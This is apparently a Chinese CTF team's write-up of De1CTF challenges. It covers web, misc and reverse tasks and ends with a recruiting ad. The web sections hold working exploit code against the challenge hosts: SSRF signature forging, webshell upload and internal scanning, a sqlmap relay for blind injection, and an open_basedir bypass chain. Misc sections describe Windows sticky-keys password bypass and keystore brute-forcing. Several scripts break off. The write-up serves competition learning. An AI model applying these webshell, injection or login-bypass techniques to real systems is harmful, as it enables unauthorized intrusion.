SSRF Me
解题思路
# coding:utf-8
import requests
import urllib
BASE_URL="http://139.180.128.86"
def getSign(param):
r = requests.get('%s/geneSign?param=%s' % (BASE_URL, urllib.quote(param)))
if r.status_code == 200:
return r.text
return ""
def Result(sign, param):
header = {
'Cookie': 'action=readscan; sign=%s;' % sign,
}
r = requests.get('%s/De1ta?param=%s' % (BASE_URL, urllib.quote(param)), headers=header)
if r.status_code == 200:
print(r.text)
file="flag.txt"
sign = getSign('%sread' % file)
Result(sign, file)
shellshellshell
解题思路
外层部分和 N1CTF-2018 easy_harder_php 完全一样,参考:
https://github.com/Nu1LCTF/n1ctf-2018/blob/master/writeups/web/easy_harder_php.pdf
然后访问 index.php?action=index
接着用新的 sessionID 访问, 就可以以 admin 身份登录
PHPSESSID=4stu05dr969ogmprk28drnju93
在 publish 界面下直接就能上传 webshell
上传 shell 上去, 扫描内网 172.18.0.2 的端口,发现 80
用 curl 请求,获得内网页面
172.18.0.2:80
<?php
$sandbox = '/var/sandbox/' . md5("prefix" . $_SERVER['REMOTE_ADDR']);
@mkdir($sandbox);
@chdir($sandbox);
if($_FILES['file']['name'])
{
$filename = !empty($_POST['file']) ? $_POST['file'] : $_FILES['file']['name'];
if (!is_array($filename))
{
$filename = explode('.', $filename);
}
$ext = end($filename);
if($ext==$filename[count($filename) - 1])
{
die("try again!!!");
}
$new_name = (string)rand(100,999).".".$ext;
move_uploaded_file($_FILES['file']['tmp_name'],$new_name);
$_ = $_POST['hello'];
if(@substr(file($_)[0],0,6)==='@<?php')
{
if(strpos($_,$new_name)===false)
{
include($_);
}
else
{
echo "you can do it!";
}
}
unlink($new_name);
}
else
{
highlight_file(__FILE__);
}
这个是 上海大学生ctf web3 原题:
https://www.jianshu.com/p/a4c55edd6858
上 exp 找 flag 然后读出来:
Giftbox
login 盲注
const Koa = require('koa');
const http = require('http');
const querystring = require('querystring');
const TOTP = require('totp.js');
/**
* yarn add totp.js
*/
const app = new Koa();
const totp = new TOTP("GAXG24JTMZXGKZBU", 8);
function fuck(param) {let promise = new Promise(function(resolve, rejecte) {
data = {
a: param,
totp: totp.genOTP(5)
}
var content = querystring.stringify(data);
var options = {
hostname: '222.85.25.41',
port: 8090,
path: '/shell.php?' + content,
method: 'GET'
};
var req = http.request(options, (res) => {
res.setEncoding('utf8');
let rawData = '';
res.on('data', (chunk) => {
rawData += chunk;
});
res.on('end', () => {
try {
const parsedData = JSON.parse(rawData);
if (parsedData.message)
console.log(parsedData.message);
else
console.log(parsedData.data);
resolve(1)
} catch (e) {
rejecte(e.message)
}
});
});
req.on('error', function(e) {
console.log('problem with request: ' + e.message);
rejecte(e.message)
});
req.end();
})
return promise;
}
/**
* Web 中转 For Sqlmap
*/
app.use(async ctx => {
let query = ctx.query || ctx.request.query;
var resp = ''
if (query.cmd) {
var cmd = query.cmd.replace(/ /g, "/**/");
resp = await fuck(`login ${cmd} 123456`);
console.log(resp)
}
ctx.body = JSON.stringify(resp);
});
console.log("Listening http://127.0.0.1:3000")
app.listen(3000);
const TOTP = require('totp.js');
/**
* yarn add totp.js
*/
const http = require('http');
const async = require('async');
const querystring = require('querystring');
const totp = new TOTP("GAXG24JTMZXGKZBU", 8);
function fuck(param, method = 'GET', postData = {}) {
let promise = new Promise(function(resolve, rejecte) {
data = {
a: param,
totp: totp.genOTP(5)
}
var content = querystring.stringify(data);
var options = {
hostname: '222.85.25.41',
port: 8090,
path: '/shell.php?' + content,
method: method,
headers: {
"Cookie": ["PHPSESSID=vk666"]
}
};
if (method == 'POST') {
postData = querystring.stringify(postData);
options['headers']['Content-Type'] = 'application/x-www-form-urlencoded';
options['headers']['Content-Length'] = Buffer.byteLength(postData);
}
var req = http.request(options, (res) => {
res.setEncoding('utf8');
let rawData = '';
res.on('data', (chunk) => {
rawData += chunk;
});
res.on('end', () => {
let res = /de1ctf\{.*?\}/g.exec(rawData)
if (res) {
console.log(`[+] Here is flag : ${res[0]}`)
}
resolve(1)
});
});
req.on('error', function(e) {
console.log('problem with request: ' + e.message);
rejecte(e.message)
});
if (method == 'POST')
req.write(postData);
req.end();
})
return promise;
}
async function cmd(cmd, param = "") {
await fuck(cmd, 'POST', param);
}
(async () => {
console.log("[+] Waiting...")
/* 登录 */
// await fuck(`login admin hint{G1ve_u_hi33en_C0mm3nd-sh0w_hiiintttt_23333}`)
/* 清除 */
await cmd('destruct')
// open_basedir
await cmd('targeting a open_basedir')
await cmd('targeting b ..')
await cmd('targeting c ini_set')
await cmd('targeting d chdir')
await cmd('targeting e js')
await cmd('targeting f flag')
await cmd('targeting g readfile')
await cmd('targeting i _REQUEST')
await cmd('targeting j ini_get_all')
await cmd('targeting k print_r')
await cmd('targeting o {${$i}{9}}') // $_REQUEST[9]
await cmd('targeting t1 ${$d($e)}') // chdir("js")
await cmd('targeting t2 ${$c($a,$b)}') // ini_set("open_basedir","..")
await cmd('targeting t3 ${$d($b)}') // chdir("..")
await cmd('targeting t4 ${$d($b)}') // chdir("..")
await cmd('targeting t5 ${$d($b)}') // chdir("..")
await cmd('targeting t6 ${$d($b)}') // chdir("..")
await cmd('targeting t8 ${$c($a,$o)}') // ini_set("open_basedir","/")
await cmd('targeting w ${$g($f)}') // readfile flag
await cmd('launch', {
'9': '/'
Mine Sweeping
解题思路
dnSpy打开Assembly-CSharp.dll 定位到关键处理函数
把游戏状态改为不会死亡,然后吧所有的雷区全部点开以后得到二维码
扫描得到链接
http://qr02.cn/FeJ7dU
打开链接得到flag
DeepInReal
解题思路
下载下来解压以后得到一个说明呵AES加密工具,以及AES加密的数据
根据提示猜测密码为123456,成功解开
解开以后发现是个VMDK,文件爱你头被修改, 还原以后打开这个VMDK
然后以这个VMDK创建虚拟机并启动,是个win10,有密码,加载一个PE干掉密码
或者用cmd替换放大镜(magnify.exe)/屏幕键盘(osk.exe)/粘滞键(sethc.exe)
然后重启进入系统,进入系统以后发现有个bitlocker加密的盘
根据提示Win+W可以在Sketchpad中看到bitlocker的密码
解开之后可以看到BitLocker盘里的东西
在backup文件夹中发现ethpass.dict和ETH的keystone
尝试用ethpass作为密码字典去爆破keystone的密码
#!/usr/bin/env python3
import eth_keyfile
from multiprocessing import Pool, Queue
keyjson = eth_keyfile.load_keyfile("keystone.json")
def check_pwd(p, i):
try:
a = eth_keyfile.decode_keyfile_json(keyjson, p)
print(f"[*] {p} {a}")
except ValueError as e:
print(f"[{i}] {e} {p}")
pass
with open("passwd.txt") as f:
passwords = f.readlines()
p = Pool(processes = 24)
for i in range(0, len(passwords)):
pwd = bytes(passwords[i].strip(), encoding="utf8")
info = f"{i}/{len(passwords)}"
r = p.apply_async(check_pwd, args=(pwd,info))
p.close()
p.join()
最终跑出来密码为nevada
private_key为V3Ra1sSe3ure2333
根据解密的提示得知有个文件使用了VeraCrypt加密了
发现这地方有开机启动项
一路追下去
于是知道开机删除了vera文件,重新解压解密30G。。。。。拿到vera文件并解密
拿到vera文件解密并挂载之后,扫描发现NTFS隐藏流
于是去数据库翻看,发现有一份备份的数据库,以及一份在PHPStudy的数据库。把两个数据库进行比对,在tencent这个库中发现不一样的地方
base64解开以后发现是zip文件,拉出来需要密码,用之前的NTFS流中的作为密码成功解开拿到flag
Misc
xorz
解题思路
先将输出与iv异或,然后分析异或值的出现频率,初步确定key长度为30。
利用字符范围及语义可理解性,以4字为单位进行爆破(爆出4字节并确认后,后面可以结合明文推算下一字节)。推算出20字节左右 ,可以根据明文搜索到出处--莎士比亚的十四行诗(稍有个别地方有区别)。
最后结果为de1ctf{W3lc0m3tOjo1nu55un1ojOt3m0cl3W}。
Re_Sign
解题思路
根据提示程序加了UPX壳,但对做题基本没影响。
程序就是简单的变形base64算法。求解如下:
import string
def main():
t = [0x8, 0x3b, 0x1, 0x20, 0x7, 0x34, 0x9, 0x1f, 0x18, 0x24, 0x13, 0x3, 0x10, 0x38, 0x9, 0x1b, 0x8, 0x34, 0x13, 0x2, 0x8, 0x22, 0x12, 0x3, 0x5, 0x6, 0x12, 0x3, 0xf, 0x22, 0x12, 0x17, 0x8, 0x1, 0x29, 0x22, 0x6, 0x24, 0x32, 0x24, 0xf, 0x1f, 0x2b, 0x24, 0x3, 0x15, 0x41, 0x41]
t1 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='
t2 = '0123456789QWERTYUIOPASDFGHJKLZXCVBNMqwertyuiopasdfghjklzxcvbnm+/='
print len(t)
out = ''
for i in t:
out += t1[i-1]
map = string.maketrans(t2,t1)
out = out.translate(map)
print out.decode('base64')
print 'end.'
if __name__ == '__main__':
main()
Cplusplus
解题思路
题目如题名,代码较难看,但是主流程异常清晰:
格式检查规则为:3部分数字类字符,分别以'@'和'#'分隔。
第一部分校验运用了梅森旋转算法,懒得写代码,直接patch,循环跑出dec1为78。
第二部分校验基本属于明文校验,只是以输入为索引查表与常量字符比较。
第三部分校验如下,其中的dec1已不是输入的数,被改写成了伪随机数0x22:
因为题目逻辑问题,后来出来个tip,给了个hash来限制唯一解。
按题目意图,dec3 = 0x22*3+12 = 114
所以输入为:78@20637#114
Evil_boost
解题思路
此题主要用到了boost的命令行参数提取和语法解析器。
程序运行方式
必须有name参数。
程序流程如下:
语法解析器部分代码比较难看,好在后面的长度及格式检查提供了足够信息:
按照硬性检查要求输入后,程序的运行情况如下:
其实综合以上信息,已经可以求解了,虽然最后一步的校验逻辑有问题(见图),但是不影响对作者意图的理解。
总的意思是输入一个表达式,求解结果为24,为使题可解并唯一,加了检查条件和hash要求。
求解前先思考下,依据表达式合法性(其实表达式不完全合法并不影响程序运行,结果只取到正常计算的部分,默认表达式完全合法为隐藏条件,毕竟最终的校验条件是hash):
然后就是跑hash了,结果为5e0*(5-1/5)
Signal vm
解题思路
程序fork了个子进程,进程间通过ptrace进行交互信息,父进程通过不同异常进行对子进程的控制和数据处理。直接跟踪父进程,熟悉子进程的异常代码样式后进行子进程代码解析,如下:
用python表示的计算过程如下,d为父进程使用的数据保存区域:
多元方程,直接z3求解:
v = [BitVec('v%d'%i,8) for i in range(70)]
r = [0xD6, 0x4D, 0x2D, 0x85, 0x77, 0x97, 0x60, 0x62, 0x2B, 0x88,
0x86, 0xCA, 0x72, 0x97, 0xEB, 0x89, 0x98, 0xF3, 0x78, 0x26,
0x83, 0x29, 0x5E, 0x27, 0x43, 0xFB, 0xB8, 0x17, 0x7C, 0xCE,
0x3A, 0x73, 0xCF, 0xFB, 0xC7, 0x9C, 0x60, 0xAF, 0x9C, 0xC8,
0x75, 0xCD, 0x37, 0x7B, 0x3B, 0x9B, 0x4E, 0xC3, 0xDA, 0xD8,
0xCE, 0x71, 0x2B, 0x30, 0x68, 0x46, 0x0B, 0xFF, 0x3C, 0xF1,
0xF1, 0x45, 0xC4, 0xD0, 0xC4, 0xFF, 0x51, 0xF1, 0x88, 0x51]
n = map(ord,'Almost heaven west virginia, blue ridge mountains')
s = Solver()
for i in range(10):
for j in xrange(7):
num = 0
for k in xrange(7):
num += v[(i<<3) - i + k] * n[(k<<3) - k + j]
s.add(r[(i<<3) - i + j] == num)
if s.check() == sat:
flag = ''
a = s.model()
for i in v:
# print a[i]
flag += chr(int(a[i].as_string()))
print flag
Signal vm delta
解题思路
程序fork了个子进程,进程间通过ptrace进行交互信息,父进程通过不同异常进行对子进程的控制和数据处理。此题与上一个vm题最大区别在于数据存放在子进程。handler功能调换了,代码如下:
同样用python模拟算法如下:
不难发现,这是一题路径规划题,数据为下三角矩阵左下部分,每一步,位置下移1行,右移1列与否则是我们所要求的,走过的路径中包含flag。程序用枚举的方式求按步进规则的路径所得的最大值,枚举空间是2**101。
不会动态规划,于是只能采用笨办法,分段跑。
开始低位部分用局部最大值跑出一部分,大概20个字符左右,后面不就好弄了,局部最大值路径与全局的不一致了。于是直接8字节一爆破,手动筛选。
最后得到路径状态及对应的输出为(高位在前):
招新小广告
ChaMd5 ctf组 长期招新
尤其是crypto+reverse+pwn+合约的大佬
欢迎联系admin@chamd5.org